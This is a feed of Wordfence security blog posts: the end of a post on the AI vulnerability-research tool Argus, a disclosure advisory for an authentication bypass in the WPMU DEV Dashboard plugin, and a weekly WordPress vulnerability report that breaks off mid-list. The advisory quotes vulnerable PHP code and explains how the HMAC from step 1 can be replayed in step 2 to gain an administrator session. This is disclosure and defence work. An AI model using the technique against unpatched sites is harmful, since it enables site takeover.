The design approach we’ve taken with Argus and its use of LLMs is to confine, constrain, focus, motivate, parallelize, hypothesize, verify, record, prioritize, and then iterate hard and fast. I can’t go into the design details or which models we’re using or which prompt structure or harness design we use, because we are in a race with threat actors to ensure that we find the most dangerous vulnerabilities before they do.

And that is exactly what Argus is designed to do: to find the worlds most dangerous WordPress Vulnerabilities. More on this in the coming weeks.

Wordfence Argus is model agnostic, and we’re continuously evaluating different models to find the best balance of capability vs price. When a new model is released, we’re able to immediately pivot Argus to using that, in order to evaluate whether it provides improved capability. This keeps us at the forefront of AI powered cyber research.

Maintaining this lead is a critical success factor today for any cybersecurity organization, because attackers are gaining access to the same tools that we have access to. Innovation in vulnerability research comes from prompt engineering, harness design and task-specific model selection, along with traditional deterministic programming. Preventing malicious actors from accessing cyber-capable models is one control – but it leaves threat actors with powerful new prompts, a rapidly evolving ecosystem of open source harnesses, open-weights models without guardrails, and the many other tools emerging from the AI ecosystem.

Thus it is imperative that we lead in AI assisted vulnerability research and cybersecurity research. Wordfence Argus is one of the tools, along with others like Wordfence PRISM, that we’ve developed to accelerate innovation in vulnerability research, and to establish and maintain a lead ahead of threat actors.

I’m incredibly proud of the work our team is doing. They developed Wordfence Argus on their own, made a major research breakthrough, and kept it as a surprise for Kerry Boyte (my co-founder) and I, which they revealed in person at our suite at DEF CON this year at a big team gathering. What I’m particularly proud of is that our company has the kind of culture that enables the blue-sky research that produced Argus, without it being supervised, guided, micromanaged or interfered with. Turns out that creating a space that lets hackers hack, and getting out of the way, leads to profound breakthroughs.

Mark Maunder – Wordfence Founder & CEO

The post Wordfence Argus: Moving Beyond Human Research Capability appeared first on Wordfence.

Wordfence Argus Finds Critical Authentication Bypass in WPMU DEV Dashboard Plugin

Simon Browning — Thu, 27 Aug 2026 17:56:33 +0000

On August 19th, 2026, during internal research, I discovered an Authentication Bypass vulnerability in WPMU DEV Dashboard, a WordPress plugin with an estimated 350,000 active installations. This vulnerability makes it possible for unauthenticated attackers to gain administrator access when Hub Single-Sign On is enabled. This can lead to complete site takeover and, when an administrator-accessible code-write mechanism such as the WordPress plugin or theme editor is available, remote code execution.

I discovered this vulnerability with the help of Wordfence Argus, which we covered in a separate post. Our mission is to secure WordPress through defense in depth, which is why we invest in quality vulnerability research and work closely with plugin vendors to ensure vulnerabilities are addressed before they can be widely exploited. We are committed to making the WordPress ecosystem more secure through the detection and prevention of vulnerabilities, which is a critical element of a multi-layered approach to security.

We provided full disclosure details to the WPMU DEV team through our Wordfence Vulnerability Management Portal on the same day of discovery, August 19, 2026. The developer acknowledged the report and submitted a pre-release patch for review on August 21, 2026. This patch was released to the public as version 5.0.2 on August 24, 2026. We would like to commend the WPMU DEV team for their prompt response.

Wordfence Premium, Wordfence Care, and Wordfence Response customers received a firewall rule to provide protection against known exploitation techniques on August 25, 2026. Free users will get the same rule 30 days later, on September 24, 2026. NOTE: The firewall rule was deployed one day after the patch was made public as it is a feature breaking rule.

We urge users of WPMU DEV Dashboard to verify that their sites are updated to the latest patched version, 5.0.2, at the time of this writing. Sites that cannot update immediately should disable Hub SSO until the patched version has been installed.

Vulnerability Summary from Wordfence Intelligence

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-76581

Affected Version(s)
<= 5.0.1

Patched Version
5.0.2

Affected Software

WPMU DEV Dashboard [wpmudev-updates]

Researchers

The WPMU DEV Dashboard plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 5.0.1. This is due to inconsistent and ambiguous HMAC message construction between the unauthenticated `wdpsso_step1` and `wdpsso_step2` AJAX actions, where step 1 signs and discloses an unseparated concatenation of the token, state, redirect, and domain values, while step 2 verifies an unseparated concatenation that omits the domain field. This makes it possible for unauthenticated attackers, on sites connected to WPMU DEV with Hub SSO enabled and mapped to an administrator, to obtain a valid HMAC from step 1 and replay it to step 2 by moving the domain value into the redirect field, resulting in an authenticated administrator session.

Technical Analysis

WPMU DEV Dashboard connects WordPress sites to WPMU DEV services and provides a Hub SSO flow that allows an authorized Hub user to log in to a connected WordPress site. The flow is implemented as two AJAX actions, wdpsso_step1 and wdpsso_step2.

Examining the code reveals that both actions are included in the $nopriv_actions array in the WPMUDEV_Dashboard_Ajax class. This makes the actions reachable by unauthenticated visitors. That exposure is necessary for the SSO flow, since the visitor is not yet authenticated to WordPress when the exchange begins, but it also means that each step must cryptographically distinguish legitimate Hub messages from values an anonymous visitor can obtain or control.

private array $nopriv_actions
    = array(
        'wdpunauth',
        'wdpsso_step1',
        'wdpsso_step2',
    );

The first action calls the authenticate_sso_access_step1() function. After confirming that SSO is enabled and the site is connected to WPMU DEV, the function generates a token and state value. It then creates an HMAC-SHA256 signature by concatenating the token, hashed state, redirect value, and site domain without delimiters or length prefixes.

$token = uniqid() . '-' . microtime( true );
WPMUDEV_Dashboard::$settings->set( 'active_token', $token, 'sso' );

// Create state session cookie.
$api_key = $this->get_key();

$pre_sso_state = uniqid( '', true );
$secure_cookie = 'https' === wp_parse_url( get_option( 'home' ), PHP_URL_SCHEME );

setcookie( 'wdp-pre-sso-state', $pre_sso_state, time() + 3600, COOKIEPATH, COOKIE_DOMAIN, $secure_cookie, true );

$hashed_pre_sso_state = hash_hmac( 'sha256', $pre_sso_state, $api_key );
// Build hmac for OAuth.
$domain  = $this->network_site_url();
$profile = $this->get_profile();

$outgoing_hmac = hash_hmac( 'sha256', $token . $hashed_pre_sso_state . $redirect . $domain, $api_key );

The resulting signature is returned to the caller along with the token, hashed state, redirect, and domain as query parameters in a redirect to the WPMU DEV Hub SSO endpoint.

$auth_params = array(
    'domain'        => $domain,
    'hmac'          => $outgoing_hmac,
    'token'         => $token,
    'pre_sso_state' => $hashed_pre_sso_state,
    'redirect'      => $redirect,
    '_hubteam'      => $hubteam,
);

The second action calls the authenticate_sso_access_step2() function. This function receives a signature from the Hub and independently constructs the message it expects the Hub to have signed. Unfortunately, this message is not constructed from the same set of fields used in step 1. Step 2 concatenates only the token, state, and redirect values, again without separators, and omits the domain field entirely.

$incoming_hmac = $sso_access_data['incoming_hmac'] ?? '';
$token         = $sso_access_data['token'] ?? '';
$pre_sso_state = $sso_access_data['pre_sso_state'] ?? '';
$redirect      = $sso_access_data['redirect'] ?? '';

$api_key        = $this->get_key();
$verifying_hmac = hash_hmac( 'sha256', $token . $pre_sso_state . $redirect, $api_key );
$redirect       = urldecode( $redirect );

$userid = WPMUDEV_Dashboard::$settings->get( 'userid', 'sso' );
$user   = $this->refresh_profile();

$is_valid = hash_equals( $incoming_hmac, $verifying_hmac );

This creates an ambiguity between the two signed messages. In step 1, the signed message has the following conceptual structure:

token || state || redirect || domain

In step 2, the verified message has this structure:

token || state || redirect

Because the fields are concatenated without unambiguous boundaries, an unauthenticated attacker can request step 1 with an empty redirect value. Step 1 then signs token || state || domain and returns the resulting HMAC and all of the non-secret values needed to continue the exchange. The attacker can replay that same HMAC to step 2 while placing the returned domain in the step-2 redirect field. Step 2 also constructs token || state || domain, so the two byte strings are identical even though the domain occupies a different logical field.

The attacker does not need to know the WPMU DEV API key. Step 1 acts as a signing oracle and returns a valid HMAC that step 2 accepts for a different interpretation of the same concatenated bytes.

The remaining checks do not prevent the attack. Step 1 sets the wdp-pre-sso-state cookie and returns the corresponding hashed state, so the attacker can preserve the cookie and submit the returned state value. Step 1 also stores and returns the active token, allowing the attacker to satisfy the token and expiry checks with a fresh value.

// Check if the session cookie of the state value exists in the user's browser.
if ( isset( $_COOKIE['wdp-pre-sso-state'] ) ) {
    // Check that the state value is the same with what was passed through the endpoint.
    $hmac_state_value = hash_hmac( 'sha256', sanitize_text_field( wp_unslash( $_COOKIE['wdp-pre-sso-state'] ) ), $api_key );

    if ( hash_equals( $hmac_state_value, $pre_sso_state ) ) {

        // Check if the token has been used in the past, to prevent replay attacks.
        $previous_sso_token = WPMUDEV_Dashboard::$settings->get( 'previous_token', 'sso', 0 );
        if ( $token_timestamp_float > $previous_sso_token ) {
            WPMUDEV_Dashboard::$settings->set( 'previous_token', $token_timestamp_float, 'sso' );
        } else {
            wp_die( 'The SSO token has been used in the past.' );
        }

        // Finally, check if the passed token is the same that was saved in the first place.
        $active_sso_token = WPMUDEV_Dashboard::$settings->get( 'active_token', 'sso' );
        if ( $token !== $active_sso_token ) {
            wp_die( 'The SSO token could not be verified.' );
        } else {
            WPMUDEV_Dashboard::$settings->set( 'active_token', uniqid(), 'sso' );
        }
    }
}

Once these checks pass, the plugin creates an authentication cookie for the WordPress user configured for Hub SSO. On sites where SSO is mapped to an administrator, the unauthenticated attacker receives an administrator session. An administrator session generally provides complete control of a WordPress site.

// If everything checks out, log in the user.
wp_clear_auth_cookie();
wp_set_auth_cookie( $userid, false );
wp_set_current_user( $userid );

It is important to note that this is distinct from the WPMU DEV Dashboard authentication bypass affecting versions up to and including 5.0.0 that involved empty-key WDP-AUTH validation. That earlier issue affected unconnected sites through the Hub remote-request path. This vulnerability affects connected sites with Hub SSO enabled, uses the two wdpsso_* actions, and remains exploitable in version 5.0.1 despite the protections added for the earlier issue.

The Patch

The vendor’s patch stores the HMAC created during step 1 in a server-side SSO setting. Step 2 validates that this stored value has the expected format and rejects the request when the incoming signature is the same signature produced by step 1. A successful legitimate SSO exchange clears the temporary value.

$outgoing_hmac = hash_hmac( 'sha256', $token . $hashed_pre_sso_state . $redirect . $domain, $api_key );
WPMUDEV_Dashboard::$settings->set( 'step1_hmac', $outgoing_hmac, 'sso' );

$verifying_hmac = hash_hmac( 'sha256', $token . $pre_sso_state . $redirect, $api_key );
$redirect       = urldecode( $redirect );
$step1_hmac     = WPMUDEV_Dashboard::$settings->get( 'step1_hmac', 'sso', '' );

if ( ! is_string( $step1_hmac ) || 1 !== preg_match( '/A[0-9a-f]{64}z/', $step1_hmac ) ) {
    wp_die( 'Invalid SSO authentication response.' );
}

if ( hash_equals( $step1_hmac, $incoming_hmac ) ) {
    wp_die( 'Invalid SSO authentication response.' );
}

We tested the reported attack against the patched build and confirmed that replaying the step-1 HMAC in step 2 was rejected without creating a wordpress_logged_in cookie. As a positive control, we generated the distinct HMAC expected from a legitimate Hub step-2 response and confirmed that the SSO flow still created the mapped WordPress session.

Wordfence Firewall

The following graphic demonstrates the steps to exploitation an attacker might take and at which point the Wordfence firewall would block an attacker from successfully exploiting the vulnerability.

Disclosure Timeline

2026-08-19

We discovered the vulnerability

During internal research with Wordfence Argus, we discovered an unauthenticated authentication bypass vulnerability in WPMU DEV Dashboard.

2026-08-19

We validated the report and disclosed it to the vendor

Our team confirmed the proof of concept and sent full disclosure details to WPMU DEV through the Wordfence Vulnerability Management Portal.

2026-08-21

Vendor acknowledged the report

The developer confirmed the issue and submitted a pre-release patch for review.

2026-08-21

We reviewed and approved the vendor’s pre-release patch

Our team confirmed that the pre-release patch blocks the reported HMAC reuse.

2026-08-24

Patched version released

WPMU DEV released the reviewed fix to the public as version 5.0.2.

2026-08-25

Wordfence Premium, Care, and Response users received a firewall rule

We released a firewall rule protecting Wordfence Premium, Care, and Response customers against known exploitation techniques, one day after the public patch as it is a feature breaking rule.

2026-09-24

Wordfence free users receive the firewall rule

Sites running the free version of Wordfence receive the same firewall rule 30 days after the Premium release.

Wordfence action
Vendor / external action

Conclusion

In this blog post, we detailed an Unauthenticated Authentication Bypass vulnerability in WPMU DEV Dashboard affecting all versions up to, and including, 5.0.1. This vulnerability makes it possible for unauthenticated threat actors to reuse an HMAC returned by the first step of the Hub SSO flow in the second step by shifting the site domain into the redirect field. On connected sites where Hub SSO is enabled and mapped to an administrator, successful exploitation can lead to complete site compromise.

We encourage WordPress users to verify that their sites are updated to the latest patched version of WPMU DEV Dashboard, considering the critical nature of this vulnerability. Site owners who cannot update immediately should disable Hub SSO until the patch has been installed.

Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to protect against known exploits targeting this vulnerability in WPMU DEV Dashboard on August 25, 2026. Sites using the free version of Wordfence will receive the same protection 30 days later on September 24, 2026.

If you know someone who uses this plugin on their site, we recommend sharing this advisory with them after the coordinated disclosure embargo has ended to ensure their site remains secure, as this vulnerability poses a significant risk on connected sites with Hub SSO enabled.

The post Wordfence Argus Finds Critical Authentication Bypass in WPMU DEV Dashboard Plugin appeared first on Wordfence.

Wordfence Intelligence Weekly WordPress Vulnerability Report (August 17, 2026 to August 23, 2026)

Simon Browning — Thu, 27 Aug 2026 15:39:42 +0000

Last week, there were 240 vulnerabilities disclosed in 184 WordPress Plugins and 17 WordPress Themes that have been added to the Wordfence Intelligence Vulnerability Database, and there were 105 Vulnerability Researchers that contributed to WordPress Security last week. Review those vulnerabilities in this report now to ensure your site is not affected.

Click here to sign-up for our mailing list to receive weekly vulnerability reports like this and important WordPress Security reports in your inbox the moment they are published.

New Firewall Rules Deployed Last Week

The team rolled out enhanced protection via firewall rules for the following vulnerabilities in real-time to our Premium, Care, and Response customers last week:

WAF-RULE-952 – Data redacted while we work with the vendor on a patch.

Total Unpatched & Patched Vulnerabilities Last Week

Patch Status	Number of Vulnerabilities
Patched	166
Unpatched	74

Total Vulnerabilities by CVSS Severity Last Week

Severity Rating	Number of Vulnerabilities
Medium Severity	111
High Severity	112
Critical Severity	17

Total Vulnerabilities by CWE Type Last Week

Vulnerability Type by CWE	Number of Vulnerabilities
Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)	73
Missing Authorization	42
Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)	27
Deserialization of Untrusted Data	14
Improper Privilege Management	12
Authorization Bypass Through User-Controlled Key	11
Improper Control of Filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’)	11
Exposure of Sensitive Information to an Unauthorized Actor	10
Unrestricted Upload of File with Dangerous Type	10
Improper Control of Generation of Code (‘Code Injection’)	8
Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)	5
Cross-Site Request Forgery (CSRF)	3
Improper Authentication	3
Client-Side Enforcement of Server-Side Security	2
Server-Side Request Forgery (SSRF)	2
Unverified Password Change	2
Improper Authorization	1
Improper Input Validation	1
Incorrect Authorization	1
Incorrect Privilege Assignment	1
Weak Password Recovery Mechanism for Forgotten Password	1

Researchers That Contributed to WordPress Security Last Week

Researcher Name	Number of Vulnerabilities
daroo	19
Ananda Dhakal	17
dutafi	16
Tran Nguyen Bao Khanh	12
Jakub Herman	10
Asim Alshaya	9
Erwan LR	8
Nguyen Ba Khanh	6
Wordfence PRISM	6
Shikhali Jamalzade	5
Farid Narimanov	5
Nabil Irawan	5
Austin Ginder	4
Denver Jackson	4
Muni Nitish Kumar Yaddala	4
João Pedro S Alcântara (Kinorth)	3
V1T	3
20kilograma	3
Athiwat Tiprasaharn (Jitlada)	3
hivesec	2
Revanth Hari Narayana Matte	2
nh4tvd	2
Osvaldo Noe Gonzalez Del Rio (Os)	2
hackthesoul	2
Shivamani Vastrala	2
Meher Sudhakar Abbireddi	2
Trương Hữu Phúc	2
Van Phuc	2
moonge	2
Mohammed Abd Alrahman	2
sequence_X0	2
Bonds	2
João Pedro S Alcântara	2
Pedro Pinho	2
Abdullah Kareem “cyberkareem”	2
Mokksh Parekh	1
Mohamed Bassia	1
Ezekiel Victor	1
Tin Pham (TF1T)	1
Ronnachai Sretawat Na Ayutaya (Simonhaskelly)	1
Ruwantha Harshamal	1
João Ramos Maciel	1
timomangcut	1
Jorgson	1
Ahmed Hassan	1
stealthcopter	1
Deva Parekh	1
rootdirective.sec	1
Taylsec	1
0xd4rk5id3	1
Son Bach	1
Lan Vy	1
Supakiad S. (m3ez)	1
Charles Vosburgh	1
Noman Riffat	1
Khaled Alenazi	1
Andrés Cruciani	1
Mustafa Ahmed	1
dunvu0	1
Abi Wiranata	1
zickzick2	1
Yaswanth Reddy Sunkara	1
luc	1
Raihan Adi Arba	1
Evan NR	1
Xanlar Agamalizade	1
Décio Brandão	1
Khanh Nguyen	1
Peter Thaleikis	1
PPzzAArr	1
VanTastic	1
RIA Labs	1
arrester	1
João Ramos Maciel and Theo Antonio da Fonseca	1
doc4cash	1
Md. Minaruzzaman Shovon	1
Brian Willows	1
Tiago Ventura	1
Ayoub MOUHATTA	1
ParkHyunWoo	1
Suhayb Ahmed	1
Samdup Choephel	1
hhhai	1
Itthidej Aramsri (Boeing777)	1
tipsen	1
Webbernaut	1
Abdullah Kareem	1
Quốc Huy (jtwings)	1
Jarno Vos	1
Aydan Arabadzha	1
Sanjar Tulkinov	1
Christian Kold Jensen	1
Ian Ho Shim	1
testoun	1
Quentin Lamour	1
Thaer Assfour	1
Elijah Chia	1
Khuong Hai	1
Thanh Nam	1
UKO	1
Peng Zhou	1
Nir Yehoshua	1
Luka Zimonjic	1
babyhack	1
Pham Duc Anh	1

WordPress Plugins with Reported Vulnerabilities Last Week

Software Name	Software Slug
10Web Booster – Website speed optimization, Cache & Page Speed optimizer	tenweb-speed-optimizer
12 Step Meeting List	12-step-meeting-list
Abandoned Cart Pro for WooCommerce	woocommerce-abandon-cart-pro
Admin and Site Enhancements (ASE)	admin-site-enhancements
Advance Product Search- Voice & Ajax Search for WooCommerce	th-advance-product-search
Advanced File Manager – Ultimate File Manager for WordPress And Document Library Solution	file-manager-advanced
Advanced Product Fields (Product Addons) for WooCommerce	advanced-product-fields-for-woocommerce
Affiliates Manager	affiliates-manager
AI Agent by SiteGround	sg-ai-studio
All-in-One WP Migration and Backup	all-in-one-wp-migration
Appointment Hour Booking – Booking Calendar	appointment-hour-booking
Atarim – AI Agency for WordPress: Edit Pages, Fix Code, Update Plugins, SEO & Client Feedback	atarim-visual-collaboration
Automation Web Platform – Notifications and OTP for WooCommerce, Advanced Country Code	automation-web-platform
AutomatorWP – Automator plugin for no-code automations, webhooks & custom integrations in WordPress	automatorwp
Autopay	platnosci-online-blue-media
B2Bking	b2bking
B2BKing — Ultimate WooCommerce B2B and Wholesale Plugin — Wholesale Prices, Bulk Order Form & More	b2bking-wholesale-for-woocommerce
BBQ Pro	bbq-pro
Better Messages – Chat Rooms, Group Chat, Private Messages & AI Chat Bots	bp-better-messages
Booking calendar, Appointment Booking System	booking-calendar
BookingPress Appointment Booking Pro	bookingpress-appointment-booking-pro
Broken Link Checker	broken-link-checker
CatFolders Document Gallery & PDF Library	catfolders-document-gallery
Charitable – Donation & Fundraising Platform (Donation Forms, Recurring Donations & Fundraising Campaigns)	charitable
Community by PeepSo – Download from PeepSo.com	peepso-core
Contact Form by Supsystic	contact-form-by-supsystic
Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe	contest-gallery
Depicter — Popup & Slider Builder	depicter
Digits: WordPress Mobile Number Signup and Login	digits
Dinatur	dinatur
Directory Pro	directory-pro
Draft List	simple-draft-list
Duitku Payment Gateway	duitku-social-payment-gateway
DynamicKit for Elementor	dynamickit-elementor
E-cab Taxi Booking Manager for Woocommerce	ecab-taxi-booking-manager
Easy Appointments	easy-appointments
Easy Elementor Addons – Addons Pack for Elementor Page Builder	easy-elementor-addons
Easy Media Replace	easy-media-replace
EasyTest – Simplify A/B Testing	convertpro
ECS – Ele Custom Skin for Elementor	ele-custom-skin
Elementor Website Builder Pro	elementor-pro
EPROLO-Dropshipping	eprolo-dropshipping
eShipper Commerce	eshipper-commerce
Estatik Real Estate Plugin	estatik
Eventin – Event Calendar, Tickets, Registration, Booking & WooCommerce	wp-event-solution
Events Made Easy	events-made-easy
EWWW Image Optimizer	ewww-image-optimizer
Extra Product Options Builder for WooCommerce	additional-product-fields-for-woocommerce
Featured Video Plus	featured-video-plus
Flatastic – Versatile MultiVendor WordPress Theme	flatastic
Flexible Subscriptions	flexible-subscriptions
Fluent Forms Pro Add On Pack	fluentformpro
Flutterwave WooCommerce	rave-woocommerce-payment-gateway
Form Maker by 10Web – Mobile-Friendly Drag & Drop Contact Form Builder	form-maker
Forminator Forms – Contact Form, Payment Form & Custom Form Builder	forminator
Frontend Admin by DynamiApps	acf-frontend-form-element
FundEngine – Donation and Crowdfunding Platform	wp-fundraising-donation
GEO Plugin by Squirrly SEO	squirrly-seo
GeoDirectory – WP Business Directory Plugin and Classified Listings Directory	geodirectory
Global Gallery – WordPress Responsive Gallery	global-gallery
Golo Framework	golo-framework
GP Premium	gp-premium
Greenshift – animation and page builder blocks	greenshift-animation-and-page-builder-blocks
GutenKit – Page Builder Blocks, Patterns, and Templates for Gutenberg Block Editor	gutenkit-blocks-addon
HashBar – Announcement, Notification Bar & Popup Campaign	hashbar-wp-notification-bar
Image Photo Gallery Final Tiles Grid	final-tiles-grid-gallery-lite
InfiniteWP Client	iwp-client
Issues and Series for Newspapers, Magazines, Publishers, Writers	organize-series
JetAppointment	jet-appointments-booking
JetEngine	jet-engine
JSON Options	json-options
Kalles Addons	kalles-addons
Kirki – Freeform Page Builder, Website Builder & Customizer	kirki
KiviCare – Clinic & Patient Management System (EHR)	kivicare-clinic-management-system
kk Star Ratings – Rate Post & Collect User Feedbacks	kk-star-ratings
Leyka	leyka
License Manager for WooCommerce	license-manager-for-woocommerce
Locatoraid Store Locator	locatoraid
Login With Ajax – Fast Logins, 2FA, Redirects	login-with-ajax
Mailgun for WordPress	mailgun
Manual Image Crop	manual-image-crop
Masteriyo LMS – LMS Course Builder, Quizzes & Certificates	learning-management-system
MasterStudy LMS WordPress Plugin – for Online Courses and Education	masterstudy-lms-learning-management-system
MC4WP: Mailchimp for WordPress	mailchimp-for-wp
Media Library Assistant	media-library-assistant
Membership For WooCommerce	membership-for-woocommerce
miniOrange Social Login and Register (Discord, Google, Twitter, LinkedIn) Pro Addon	miniorange-login-openid
Modal Survey – WordPress Poll, Survey & Quiz Plugin	modal-survey
MultiVendorX – WooCommerce Multivendor Marketplace AI Powered Solutions	dc-woocommerce-multi-vendor
MWB HubSpot for WooCommerce – CRM, Abandoned Cart, Email Marketing, Marketing Automation & Analytics	makewebbetter-hubspot-for-woocommerce
New User Approve	new-user-approve
Newsletter – Send awesome emails from WordPress	newsletter
NGG Smart Image Search	ngg-smart-image-search
Nikstore Core	nikstore-core
Notification Master – Real-Time WordPress Notifications With Email, SMS, Webhooks & More	notification-master
NotificationX Pro	notificationx-pro
Online Contact Widget-多合一在线客服插件	online-contact-widget
OptionTree	option-tree
Outranking Plugin Options	outranking
Pay with Contact Form 7	pay-with-contact-form-7
Paymob for WooCommerce	paymob-for-woocommerce
PDF Smart Viewer for Elementor	pdf-smart-viewer-for-elementor
Persistent Login	wp-persistent-login
Piraeus Bank WooCommerce Payment Gateway	woo-payment-gateway-for-piraeus-bank
Podlove Podcast Publisher	podlove-podcasting-plugin-for-wordpress
Post Duplicator	post-duplicator
PPWP – Password Protect Pages	password-protect-page
Premium Packages – Sell Digital Products Securely	wpdm-premium-packages
Product Shortlist	product-shortlist
Query Wrangler	query-wrangler
Quiz and Survey Master (QSM) – Quiz Maker & Survey Maker	quiz-master-next
Readabler	readabler
Recipe Card Blocks Lite	recipe-card-blocks-by-wpzoom
RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login	custom-registration-form-builder-with-submission-manager
Restaurant Menu and Food Ordering	mp-restaurant-menu
Royal Addons for Elementor – Addons and Templates Kit for Elementor	royal-elementor-addons
rtMedia for WordPress, BuddyPress and bbPress	buddypress-media
SAML Single Sign On – SSO Login	miniorange-saml-20-single-sign-on
Security Hardener	security-hardener
Security Plugin, Firewall & Malware Scanner with Auto Removal	security-malware-firewall
ShopMonitor.io – Automated Checkout & Form Monitoring	shopmonitorio
Simple File List	simple-file-list
Simple JWT Login – Allows you to use JWT on REST endpoints.	simple-jwt-login
SimplyRETS Real Estate IDX	simply-rets
Slider by 10Web – Responsive Image Slider	slider-wd
Smart Popup by Supsystic	popup-by-supsystic
SmartCrawl SEO checker, analyzer & optimizer	smartcrawl-seo
SmartSMTP	smart-smtp
Social Media Share Buttons & Social Sharing Icons	ultimate-social-media-icons
Speed Optimizer – The All-In-One Performance-Boosting Plugin	sg-cachepress
Sticky Chat Widget – Floating Chat Icons, Contact Form, Call, Click to Chat, Email & Message Buttons	sticky-chat-widget
Stitch Express	stitch-express
Super Store Finder	superstorefinder-wp
SupportCandy – AI Customer Support Ticket System & Live Chatbot Agent	supportcandy
Swatchly – Product Variation Swatches for WooCommerce	swatchly
TabaPay Gateway	tabapay-gateway
Table Of Contents Block	table-of-contents-block
Tag, Category, and Taxonomy Manager – Autotagger Automatically Add Terms	simple-tags
Tagembed: Social Media Feeds and Customer Reviews Widget	tagembed-widget
Templatiq	templatiq
Themify Builder	themify-builder
Tonda Core	tonda-core
Total Donations	totaldonations
Track Geolocation Of Users Using Contact Form 7	track-geolocation-of-users-using-contact-form-7
TranslatePress – Translate Multilingual sites with AI Translation	translatepress-multilingual
TrueBooker – Appointment Booking and Scheduler System	truebooker-appointment-booking
Typing Effect	animated-typing-effect
Ultimate Dashboard – Custom WordPress Dashboard	ultimate-dashboard
Ultimate Maps by Supsystic	ultimate-maps-by-supsystic
URL Shortify – Simple and Easy URL Shortener	url-shortify
User Registration PRO – Custom Registration Form, Login Form, and User Profile WordPress Plugin	user-registration-pro
User Verification by PickPlugins	user-verification
Verdure Core	verdure-core
Video Conferencing with Zoom	video-conferencing-with-zoom-api
Visualizer – Tables & Charts Manager with Built-in AI Generator	visualizer
W3 Total Cache	w3-total-cache
WCFM Marketplace – Multivendor Marketplace for WooCommerce	wc-multivendor-marketplace
WebToffee WooCommerce PDF Invoices, Packing Slips, Delivery Notes & Shipping Labels	print-invoices-packing-slip-labels-for-woocommerce
Wise Chat	wise-chat
WP BASE Booking of Appointments, Services and Events	wp-base-booking-of-appointments-services-and-events
WP Cafe Pro	wpcafe-pro
WP Compress – Instant Performance & Speed Optimization	wp-compress-image-optimizer
WP Data Access – App Builder for Tables, Forms, Charts, Maps & Dashboards	wp-data-access
WP Directory Kit	wpdirectorykit
WP Maps – Google Maps,OpenStreetMap,Mapbox,Store Locator,Listing,Directory & Filters	wp-google-map-plugin
WP Multilang – Translation and Multilingual Plugin	wp-multilang
WP Project Manager Pro	wedevs-project-manager-business
WP Statistics – Simple, privacy-friendly Google Analytics alternative	wp-statistics
WP Tab Widget	wp-tab-widget
WP w3all phpBB	wp-w3all-phpbb-integration
WPAdverts – Classifieds Plugin	wpadverts
WPComplete	wpcomplete
wpDataTables – WordPress Data Table, Dynamic Tables & Table Charts Plugin	wpdatatables
WPeMatico RSS Feed Fetcher	wpematico
WPForms Pro	wpforms
WPLP Cookie Consent – Cookie Banner & Consent Management for GDPR, CCPA & Google Consent Mode	gdpr-cookie-consent
WPS Bidouille	wps-bidouille
WPvivid — Backup, Migration & Staging	wpvivid-backuprestore
WPZOOM Forms – Drag & Drop Contact Form Builder for WordPress	wpzoom-forms
WS Form LITE – Drag & Drop Contact Form Builder	ws-form
Wufoo Shortcode	wufoo-shortcode
YayCurrency – WooCommerce Multi-Currency Switcher	yaycurrency
YITH WooCommerce Membership Premium	yith-woocommerce-membership-premium
Youzify – BuddyPress Community, User Profile, Social Network & Membership Plugin for WordPress	youzify

WordPress Themes with Reported Vulnerabilities Last Week

Software Name	Software Slug
Altair	altair
Aora – Home & Lifestyle Elementor WooCommerce Theme	aora
Capella \| Restaurant WordPress	capella
Chaplin	chaplin
FreightCo – Free Transportation & Logistics WordPress Theme	freightco
Homlisti	homlisti
IT Residence	it-residence
Jawn	jawn
Koji	koji
Mane	mane
Resido – Real Estate WordPress Theme	resido
Shuffle	shuffle
Smart Cleaning	smart-cleaning
TheGem – Creative Multi-Purpose & WooCommerce WordPress Theme	thegem-elementor
Tonda – Elegant Shop WordPress Theme	tonda
Urna – All-in-one WooCommerce WordPress Theme	urna
Warehouse Cargo	warehouse-cargo

Vulnerability Details

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-77264

Patch Status

Unpatched

Published
Aug 20, 2026

Affected Software

Automation Web Platform – Notifications and OTP for WooCommerce, Advanced Country Code [automation-web-platform]

Researcher

RIA Labs

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-18937

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

Broken Link Checker [broken-link-checker]

Researcher

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-14596

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

DynamicKit for Elementor [dynamickit-elementor]

Researcher

Pedro Pinho

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-32475

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

Elementor Website Builder Pro [elementor-pro]

Researchers

Tin Pham (TF1T)

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-15748

Patch Status

Patched

Published
Aug 17, 2026

Affected Software

Forminator Forms – Contact Form, Payment Form & Custom Form Builder [forminator]

Researcher

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-78477

Patch Status

Unpatched

Published
Aug 20, 2026

Affected Software

Jawn [jawn]

Researcher

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-66613

Patch Status

Patched

Published
Aug 19, 2026

Affected Software

JetEngine [jet-engine]

Researcher

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-75860

Patch Status

Unpatched

Published
Aug 21, 2026

Affected Software

JSON Options [json-options]

Researcher

Khaled Alenazi

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-78003

Patch Status

Patched

Published
Aug 21, 2026

Affected Software

Mailgun for WordPress [mailgun]

Researcher

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-73996

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

Masteriyo LMS – LMS Course Builder, Quizzes & Certificates [learning-management-system]

Researcher

20kilograma

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-14919

Patch Status

Patched

Published
Aug 18, 2026

Affected Software

ShopMonitor.io – Automated Checkout & Form Monitoring [shopmonitorio]

Researcher

Pedro Pinho

CVSS Rating
9.8 (Critical)

